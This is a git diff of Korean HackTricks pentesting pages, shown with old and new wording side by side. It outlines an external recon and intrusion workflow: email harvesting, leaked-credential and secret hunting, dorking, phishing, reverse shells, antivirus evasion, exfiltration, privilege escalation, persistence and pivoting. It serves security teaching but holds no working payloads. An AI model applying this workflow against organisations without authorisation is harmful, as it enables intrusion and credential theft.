클라우드 자산을 찾을 때 **AWS 버킷 이상을 찾아야** 한다는 것을 기억하십시오. 클라우드 자산을 찾을 때 **AWS 버킷 이상을 찾아야** 한다는 것을 기억하십시오.
### **취약점 찾기** ### **취약점 찾기**
**공개 버킷이나 노출된 클라우드 함수**와 같은 것을 발견하면 **접근**하여 그들이 제공하는 것과 그것을 남용할 수 있는지 확인해야 합니다. **공개 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접근**하여 제공되는 것을 확인하고 악용할 수 있는지 확인해야 합니다.
## 이메일 ## 이메일
스코프 내의 **도메인****서브도메인**을 가지고 있으면 기본적으로 회사의 이메일을 검색하기 시작할 수 있는 모든 것을 갖추고 있습니다. 회사의 이메일을 찾는 데 가장 잘 작동한 **API** 및 **도구**는 다음과 같습니다: 스코프 내의 **도메인****서브도메인**을 가지고 있으면 기본적으로 이메일을 검색하기 시작할 수 있는 모든 것을 갖추고 있습니다. 회사의 이메일을 찾기 위해 가장 잘 작동한 **API** 및 **도구**는 다음과 같습니다:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API와 함께 * [**theHarvester**](https://github.com/laramies/theHarvester) - APIs와 함께
* [**https://hunter.io/**](https://hunter.io/)의 API(무료 버전) * [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전)
* [**https://app.snov.io/**](https://app.snov.io/)의 API(무료 버전) * [**https://app.snov.io/**](https://app.snov.io/)의 API (무료 버전)
* [**https://minelead.io/**](https://minelead.io/)의 API(무료 버전) * [**https://minelead.io/**](https://minelead.io/)의 API (무료 버전)
### **취약점 찾기** ### **취약점 찾기**
@ -555,7 +555,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 자격 증명 유출 ## 자격 증명 유출
**도메인**, **서브도메인** 및 **이메일**로 해당 이메일에 속한 과거에 유출된 자격 증명을 찾아볼 수 있습니다: **도메인**, **서브도메인** 및 **이메일**로 해당 이메일에 속한 과거에 유출된 자격 증명을 찾기 시작할 수 있습니다:
* [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
@ -566,14 +566,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 비밀 유출 ## 비밀 유출
자격 증명 유출은 **민감한 정보가 유출되고 판매된** 회사 해킹과 관련이 있습니다. 그러나 회사는 그 데이터베이스에 없는 정보가 포함된 **다른 유출**에 영향을 받을 수 있습니다: 자격 증명 유출은 **민감한 정보가 유출되고 판매된** 회사 해킹과 관련이 있습니다. 그러나 회사는 그러한 데이터베이스에 없는 정보가 포함된 **다른 유출**에 영향을 받을 수 있습니다:
### Github 유출 ### Github 유출
자격 증명 및 API는 **회사의 공개 저장소**나 해당 github 회사의 작업자가 작업하는 **사용자의 공개 저장소**에 유출될 수 있습니다.\ 자격 증명 및 API는 **회사의 공개 저장소**나 해당 github 회사의 **사용자**의 공개 저장소에 유출될 수 있습니다.\
**Leakos** 도구를 사용하여 **조직****개발자**의 **모든 공개 저장소**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다. **Leakos** 도구를 사용하여 **조직****개발자**의 모든 **공개 저장소**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
**Leakos**는 때로는 **웹 페이지에도 비밀이 포함**되어 있기 때문에 **제공된 URL을 통해 gitleaks를 다시 실행**하는 데 사용할 수 있습니다. **Leakos**는 때로는 **웹 페이지에도 비밀이 포함**되어 있기 때문에 제공된 **URL을 통해** 모든 **텍스트**에 대해 **gitleaks**를 실행하는 데 사용할 수 있습니다.
#### Github Dorks #### Github Dorks
@ -585,14 +585,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Pastes 유출 ### Pastes 유출
가끔 공격자나 작업자들이 **회사 콘텐츠를 페이스트 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 그렇지 않을 수도 있지만 검색해 보는 것이 매우 흥미로울 수 있습니다.\ 가끔 공격자나 작업자가 **회사 콘텐츠를 붙여넣기 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 그렇지 않을 수도 있지만 검색해 보는 것이 매우 흥미로울 수 있습니다.\
80개 이상의 페이스트 사이트에서 검색하는 데 사용할 수 있는 [**Pastos**](https://github.com/carlospolop/Pastos) 도구를 사용할 수 있습니다. **Pastos** 도구를 사용하여 한 번에 80개 이상의 붙여넣기 사이트에서 검색할 수 있습니다.
### Google Dorks ### Google Dorks
오래된 Google Dorks는 **노출되지 않아야 하는 정보를 찾는 데 항상 유용**합니다. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 도구를 사용하여 모두 실행할 수 있습니다. 오래된 Google Dorks는 **노출되지 않아야 정보를 찾는 데 항상 유용**합니다. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 도구를 사용하여 모두 실행할 수 있습니다.
_일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행하는 도구는 Google이 매우 빨리 차단할 것이므로 종료되지 않을 것임을 유의하십시오._ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행하는 도구는 Google이 매우 빨리 차단할 것이므로 종료되지 않을 것임을 참고하십시오._
### **취약점 찾기** ### **취약점 찾기**
@ -613,9 +613,9 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/) ## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/)
**버그 헌터들이 발견한 취약점의 대다수**는 **웹 애플리케이션** 내에 존재하기 때문에, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 습니다. 이 정보는 [**여기에서 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/). **버그 헌터들이 발견한 취약점의 대다수**는 **웹 애플리케이션** 내에 존재하기 때문에, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 습니다. 이 정보는 [**여기에서 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾지는 못할지라도, **일부 초기 웹 정보를 얻기 위해 워크플로에 구현하는 데 유용**합니다. 또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾지는 못할지라도, **일부 초기 웹 정보를 얻기 위해 워크플로에 구현하는 데 유용**합니다.
## 요약 ## 요약
@ -627,15 +627,15 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
2. 회사에 속한 **모든 자산**을 찾았으며 (범위 내에 있다면 취약성 스캔 수행) 2. 회사에 속한 **모든 자산**을 찾았으며 (범위 내에 있다면 취약성 스캔 수행)
3. 회사에 속한 **모든 도메인**을 찾았습니다. 3. 회사에 속한 **모든 도메인**을 찾았습니다.
4. 도메인의 **모든 서브도메인**을 찾았습니다 (서브도메인 탈취가 있었나요?) 4. 도메인의 **모든 서브도메인**을 찾았습니다 (서브도메인 탈취가 있었나요?)
5. 범위 내의 **모든 IP** (CDN에서 **아닌 것 포함**)를 찾았습니다. 5. 범위 내의 **모든 IP** (CDN에서 **아닌 것**)를 찾았습니다.
6. **웹 서버**를 모두 찾아 **스크린샷**을 찍었습니다 (더 깊게 살펴볼 가치 있는 이상한 것이 있나요?) 6. **웹 서버**를 모두 찾아 **스크린샷**을 찍었습니다 (더 깊게 살펴볼 가치 있는 이상한 것이 있나요?)
7. 회사에 속한 **모든 잠재적인 공개 클라우드 자산**을 찾았습니다. 7. 회사에 속한 **모든 잠재적인 공개 클라우드 자산**을 찾았습니다.
8. **큰 승리를 쉽게 가져다 줄 수 있는 이메일**, **자격 증명 누출**, **비밀 누출**을 찾았습니다. 8. **큰 승리를 쉽게 얻을 수 있는** **이메일**, **자격 증명 누출**, **비밀 누출**을 찾았습니다.
9. 찾은 모든 웹을 **펜테스팅**했습니다. 9. 찾은 모든 웹을 **펜테스팅**했습니다.
## **전체 Recon 자동 도구** ## **전체 Recon 자동 도구**
주어진 범위에 대해 제안된 작업 중 일부를 수행하는 여러 도구가 있습니다. 주어진 범위에 대해 제안된 작업의 일부를 수행할 수 있는 여러 도구가 있습니다.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -646,19 +646,19 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)와 같은 것들 * [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)와 같은 것들
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_폴란드어 유창한 작문 및 구사 능력 필요_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>제로부터 히어로가 되기까지의 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>제로부터 AWS 해킹을 전문가로 학습하세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!</summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! - **회사가 HackTricks를 광고하길 원하거나** **PDF 형식의 HackTricks를 다운로드**하길 원한다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 - [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. - **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요. - **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
</details> </details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**입니다! (_포괄적인 폴란드어 작문 및 구사 능력 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -28,39 +28,39 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### 0- 물리적 공격 ### 0- 물리적 공격
**공격하려는 기기에 물리적 액세스**가 있습니까? [**물리적 공격에 대한 트릭**](../hardware-physical-access/physical-attacks.md) 및 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)을 읽어보세요. **공격하려는 기기에** **물리적 액세스**가 있습니까? [**물리적 공격에 대한 트릭**](../hardware-physical-access/physical-attacks.md) 및 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)을 읽어보세요.
### 1 - [네트워크 내 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/) ### 1 - [네트워크 내 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/)
**수행 중인 테스트가 내부 또는 외부 테스트인지에 따라** **회사 네트워크 내의 호스트**를 찾는 것이 관심사일 수도 있고, **인터넷 상의 회사 자산**을 찾는 것이 관심사일 수도 있습니다. **수행 중인 테스트가** **내부 또는 외부 테스트**인지에 따라 **회사 네트워크 내 호스트**를 찾는 것(내부 테스트) 또는 **인터넷 상의 회사 자산을 찾는 것**이 관심사일 수 있습니다.
{% hint style="info" %} {% hint style="info" %}
외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 액세스한 후에는이 가이드를 다시 시작해야합니다. 외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 액세스한 후에는이 가이드를 다시 시작해야 합니다.
{% endhint %} {% endhint %}
### **2-** [**네트워크에서 재미있는 시간 보내기**](pentesting-network/) **(내부)** ### **2-** [**네트워크에서 재미있는 시간**](pentesting-network/) **(내부)**
**이 섹션은 내부 테스트를 수행하는 경우에만 해당됩니다.**\ **이 섹션은 내부 테스트를 수행하는 경우에만 해당됩니다.**\
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** 네트워크 내부에서 무엇을 찾을 수 있는지 **수동/능동적(MitM)**으로 알아보기 위해 **데이터를 스니핑**하는 것이 좋을 수 있습니다. [**펜테스팅 네트워크**](pentesting-network/#sniffing)를 읽어보세요. 호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을** **훔치거나** 네트워크에서 **데이터를 스니핑**하여 네트워크 내부에서 무엇을 찾을 수 있는지 **수동/능동적(MitM)**으로 배울 수 있습니다. [**펜테스팅 네트워크**](pentesting-network/#sniffing)를 읽어보세요.
### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts) ### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts)
**호스트의 취약점을 찾을 때 처음 해야 할 일은** 어떤 **서비스가 어떤 포트에서 실행 중인지 알아내는 것**입니다. [**호스트의 포트를 스캔하는 데 사용되는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴봅시다. **호스트의 취약점을 찾을 때** 처음 해야 할 일은 어떤 **서비스가 어떤 포트에서 실행 중인지 알아내는 것**입니다. [**호스트의 포트를 스캔하는 데 사용되는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴봅시다.
### **4-** [서비스 버전 취약점 검색](search-exploits.md) ### **4-** [서비스 버전 취약점 검색](search-exploits.md)
실행 중인 서비스 그 버전을 알게 되면 알려진 취약점을 **검색해야 합니다**. 운이 좋다면 쉘을 제공하는 취약점이 있을 수도 있습니다... 실행 중인 서비스 그 버전을 알게 되면 알려진 취약점을 **검색해야 합니다**. 운이 좋다면 쉘을 제공하는 취약점이 있을 수도 있습니다...
### **5-** 서비스 펜테스팅 ### **5-** 서비스 펜테스팅
실행 중인 서비스에 대한 멋진 취약점이 없는 경우, 각 서비스에서 **일반적인 구성 오류를 찾아야 합니다**. 실행 중인 서비스에 대한 멋진 취약점이 없는 경우, 각 서비스에서 **일반적인 구성 오류를 찾아야 합니다**.
**이 책에서는 가장 일반적인 서비스를 펜테스팅하는 가이드를 찾을 수 있습니다** (그리고 일반적이지 않은 서비스도 있음)**. 왼쪽 색인에서** _**PENTESTING**_ **섹션**을 찾아보세요 (서비스는 기본 포트에 따라 정렬됨). **이 책에서는 가장 일반적인 서비스를 펜테스팅하는 가이드를 찾을 수 있습니다** (그리고 일반적이지 않은 서비스도 있음)**. 왼쪽 색인에서** _**PENTESTING**_ **섹션을 찾아보세요**(서비스는 기본 포트에 따라 정렬됨).
**가장 넓은 부분인** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 특별히 언급하고 싶습니다.**\ [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 특별히 언급하고 싶습니다.**\
또한 여기에서 [**소프트웨어에서 알려진 취약점을 찾는 방법에 대한 작은 가이드**](search-exploits.md)를 찾을 수 있습니다. 또한 여기에서 [**소프트웨어에서 알려진 취약점을 찾는 방법에 대한 작은 가이드**](search-exploits.md)를 찾을 수 있습니다.
**색인에 서비스가 없는 경우 Google에서** 다른 자습서를 찾아보고 **추가하길 원한다면 알려주세요.** Google에서 아무것도 찾을 수 없다면 **자체 블라인드 펜테스팅**을 수행하세요. 서비스에 연결하여 **퍼징하고 응답을 읽는 것**으로 시작할 수 있습니다 (있는 경우). **색인에 서비스가 없는 경우 Google에서** 다른 자습서를 찾아보고 **추가하길 원한다면 알려주세요**. Google에서 아무것도 찾을 수 없는 경우 **자체 블라인드 펜테스팅**을 수행할 수 있습니다. 서비스에 연결하여 **퍼징하고 응답을 읽는 것**으로 시작할 수 있습니다.
#### 5.1 자동 도구 #### 5.1 자동 도구
@ -68,47 +68,47 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
#### **5.2 서비스 브루트 포싱** #### **5.2 서비스 브루트 포싱**
일부 시나리오에서 **브루트 포스** **서비스를 침투하는 데 유용**할 수 있습니다. [**다양한 서비스 브루트 포싱에 대한 치트 시트를 여기에서 찾을 수 있습니다**](brute-force.md)**.** 일부 시나리오에서 **브루트 포스** **서비스를 침투하는 데 유용**할 수 있습니다. [**다양한 서비스 브루트 포싱에 대한 치트 시트를 여기에서 찾을 수 있습니다**](brute-force.md)**.**
### 6- [피싱](phishing-methodology/) ### 6- [피싱](phishing-methodology/)
이 시점에서 흥미로운 취약점을 찾지 못했다면 **네트워크에 진입하기 위해 일부 피싱을 시도**해야 할 수도 있습니다. 피싱 방법론은 [여기](phishing-methodology/)에서 확인할 수 있습니다. 이 시점에서 흥미로운 취약점을 찾지 못했다면 네트워크 내부로 들어가기 위해 **피싱을 시도**해야 할 수 있습니다. 피싱 방법론은 [여기](phishing-methodology/)에서 확인할 수 있습니다.
### **7-** [**쉘 획득**](shells/) ### **7-** [**쉘 획득**](shells/)
어떤 방법으로든 피해자에서 코드를 실행할 수 있어야 합니다. 그런 다음, **역쉘을 얻기 위해 시스템 내에서 사용할 수 있는 도구 목록**이 매우 유용할 것입니다(shells/). 어떤 방법으로든 피해자에서 코드를 실행할 수 있어야 합니다. 그런 다음, **역쉘을 얻기 위해 시스템 내에서 사용할 수 있는 도구 목록이 매우 유용**할 것입니다(shells/).
특히 Windows에서 **안티바이러스를 피하기 위한 도움이 필요**할 수 있습니다: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\ 특히 Windows에서 **안티바이러스를 피하기 위한 도움이 필요**할 수 있습니다: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**
### 8- 내부 ### 8- 내부
쉘에 문제가 있다면, 펜테스터에게 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다: 쉘에 문제가 있다면 펜테스터에게 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다:
* [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**유출**](exfiltration.md) ### **9 -** [**유출**](exfiltration.md)
피해자로부터 **일부 데이터를 추출**하거나 권한 상승 스크립트와 같은 것을 **소개**해야 할 수도 있습니다. 이러한 목적으로 사용할 수 있는 **일반 도구에 대한 포스트**를 [여기에서 확인하세요](exfiltration.md)**.** 피해자로부터 **일부 데이터를 추출**하거나 권한 상승 스크립트와 같은 것을 **삽입**해야 할 수도 있습니다. 이러한 목적으로 사용할 수 있는 **일반 도구에 대한 포스트**를 [**여기에서 확인하세요**](exfiltration.md)**.**
### **10- 권한 상승** ### **10- Privilege Escalation**
#### **10.1- 로컬 권한 상승** #### **10.1- 로컬 권한 상승**
만약 상자 안에서 **루트/Administrator가 아닌 경우**, 권한을 **상승시킬 방법을 찾아야** 합니다.\ 박스 내에서 **루트/Administrator가 아닌 경우** 권한을 **상승시키는 방법을 찾아야** 합니다.\
여기서 [**Linux**](../linux-hardening/privilege-escalation/) **및** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한 상승하는 가이드를 찾을 수 있습니다.**\ 여기서 [**Linux**](../linux-hardening/privilege-escalation/) **및** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한 상승하는 가이드를 찾을 수 있습니다.**\
또한 **Windows 작동 방식에 대한** 이 페이지들을 확인해야 합니다: 또한 **Windows 작동 방식에 대한** 이 페이지들을 확인해야 합니다:
* [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLM 작동 방식**](../windows-hardening/ntlm/)은 어떻게 되는지 * [**NTLM 작동 방식**](../windows-hardening/ntlm/)은 어떻게 되는지
* Windows에서 [**자격 증명을 탈취하는 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) * Windows에서 [**자격 증명을 탈취하는**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 방법
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 관한 몇 가지 속임수 * [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 대한 몇 가지 트릭
**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- 도메인 권한 상승** #### **10.2- 도메인 권한 상승**
여기서 [**Active Directory에서 열거, 권한 상승 및 지속하는 가장 일반적인 작업을 설명하는 방법론을 찾을 수 있습니다**](../windows-hardening/active-directory-methodology/). 이것이 섹션의 하위 항목에 불과하더라도, 이 프로세스는 Pentesting/Red Team 과제에서 **매우 민감**할 수 있습니다. 여기서 [**Active Directory를 열거하고 권한을 상승시키고 유지하는 가장 일반적인 작업을 설명하는 방법론을 찾을 수 있습니다**](../windows-hardening/active-directory-methodology/). 이것이 섹션의 하위 항목에 불과하더라도, 이 프로세스는 Pentesting/Red Team 과제에서 **매우 민감**할 수 있습니다.
### 11 - POST ### 11 - POST
@ -119,17 +119,17 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
#### 11.2 - 지속성 #### 11.2 - 지속성
**시스템을 다시 공격할 필요가 없도록 2 또는 3 가지 다른 유형의 지속성 메커니즘을 사용하세요.**\ **시스템을 다시 공격할 필요 없이 2개 또는 3개의 다른 유형의 지속성 메커니즘을 사용하세요.**\
여기서 [**Active Directory에서 지속성 속임수를 찾을 수 있습니다**](../windows-hardening/active-directory-methodology/#persistence)**.** 여기서 [**Active Directory에서 지속성 트릭을 찾을 수 있습니다**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Windows 및 Linux에서 지속성 포스트 완성 TODO: Windows 및 Linux에서 지속성 포스트 완성
### 12 - Pivoting ### 12 - Pivoting
**수집 자격 증명**으로 다른 기기에 액세스할 수도 있고, 혹은 피해자가 연결된 새 네트워크 내에서 새로운 호스트를 **발견하고 스캔해야 할 수도** 있습니다 (Pentesting Methodology를 다시 시작).\ **수집 자격 증명**으로 다른 기기에 액세스할 수도 있고, 혹은 피해자가 연결된 새 네트워크 내에서 새로운 호스트를 **발견하고 스캔해야 할 수도** 있습니다 (Pentesting Methodology를 다시 시작).\
이 경우 터널링이 필요할 수 있습니다. 여기서 [**터널링에 대해 이야기하는 포스트를 찾을 수 있습니다**](tunneling-and-port-forwarding.md).\ 이 경우 터널링이 필요할 수 있습니다. 여기서 [**터널링에 대해 이야기하는 포스트를 찾을 수 있습니다**](tunneling-and-port-forwarding.md).\
반드시 [Active Directory Pentesting Methodology에 대한 포스트](../windows-hardening/active-directory-methodology/)도 확인해야 합니다. 거기에서 측면 이동, 권한 상승 및 자격 증명 덤프에 대한 멋진 속임수를 찾을 수 있습니다.\ 반드시 [Active Directory Pentesting Methodology에 대한 포스트](../windows-hardening/active-directory-methodology/)도 확인해야 합니다. 거기에서 측면으로 이동하고 권한 상승 및 자격 증명 덤프하는 멋진 트릭을 찾을 수 있습니다.\
[**NTLM에 대한 페이지**](../windows-hardening/ntlm/)도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다. [**NTLM에 대한**](../windows-hardening/ntlm/) 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
### 더 보기 ### 더 보기
@ -143,28 +143,28 @@ TODO: Windows 및 Linux에서 지속성 포스트 완성
#### [**기본 Python**](python/) #### [**기본 Python**](python/)
#### **암호 속임수** #### **암호 트릭**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) * [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**패딩 오라클**](../crypto-and-stego/padding-oracle-priv.md) * [**패딩 오라클**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
